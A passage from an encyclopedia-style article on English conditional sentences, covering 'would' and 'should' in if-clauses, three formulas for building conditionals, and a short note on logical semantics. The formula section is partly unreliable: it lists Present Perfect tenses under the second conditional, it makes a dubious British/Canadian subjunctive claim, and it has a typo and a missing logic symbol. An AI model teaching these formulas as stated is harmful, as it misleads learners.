Some varieties of English regularly use would (often shortened to (I)'d) and would have (often shortened to (I)'d have) in counterfactual condition clauses, but this is often considered non-standard: If you'd leave now, you'd be on time. (conditional 2.) / If you (would)'ve told me, we could've done something about it. (conditional 3.) Such use of would is widespread especially in spoken US English in all sectors of society, but these forms are not usually used in more formal writing. Nevertheless, some reliable sources simply label this usage as acceptable US English and no longer label it as colloquial.^[4][5]

There are exceptions, however, where would is used in British English too in seemingly counterfactual conditions, but these can usually be interpreted as a modal use of would: If you would listen to me once in a while, you might learn something. (conditional 2.) ^[6][7] In cases in which the action in the if clause takes place after that in the main clause, use of would in counterfactual conditions is however considered standard and correct usage in even formal UK and US usage: If it would make Bill happy, I'd [I would] give him the money.^[8]

Should can appear in the condition clause to refer to a future event presented as possible, but unlikely, undesirable, or otherwise "remote": If I should die before I wake, …, If you should ever find yourself in such a situation, …

Construction of conditional sentences in English

In English, there are three coinditional sentence formulas. They are:

The first formula indicates the possible outcome of an event that is likely to occur: If + Present Simple/Present Progressive + Present Simple/Present Progressive/Future Simple/Future Progressive/Imperative

The second formula indicates the possible outcome of an event that is less likely to occur:

If + Present Perfect/Present Perfect Progressive/Preterite/Past Continuous + Conditional Present/Conditional Present Progressive

(In British and Canadian English: If + Imperfect Subjunctive + Conditional Present/Conditional Present Progressive)

The third formula indicates the possible outcome of an event that did not occur, and is therefore a missed opportunity: If + Pluperfect/Pluperfect Progressive + Conditional Perfect/Conditional Perfect Progressive

It is possible to reverse the order of the clauses, however, the protasis must always follow the word "If" (Eg. "If + I miss the bus, + I will be late for school" can be adjusted to: "I will be late for school + if + I miss the bus.)

The semantics of conditional sentences

The material conditional operator used in logic (i.e.) is sometimes read aloud in the form of a conditional sentence (i.e. "if p, then q"), the intuitive interpretation of conditional statements in natural language does not always correspond to the definition of this mathematical operator. Modelling the meaning of real conditional statements requires the definition of an indicative conditional, and contrary-to-fact statements require a counterfactual conditional operator, formalized in modal logic.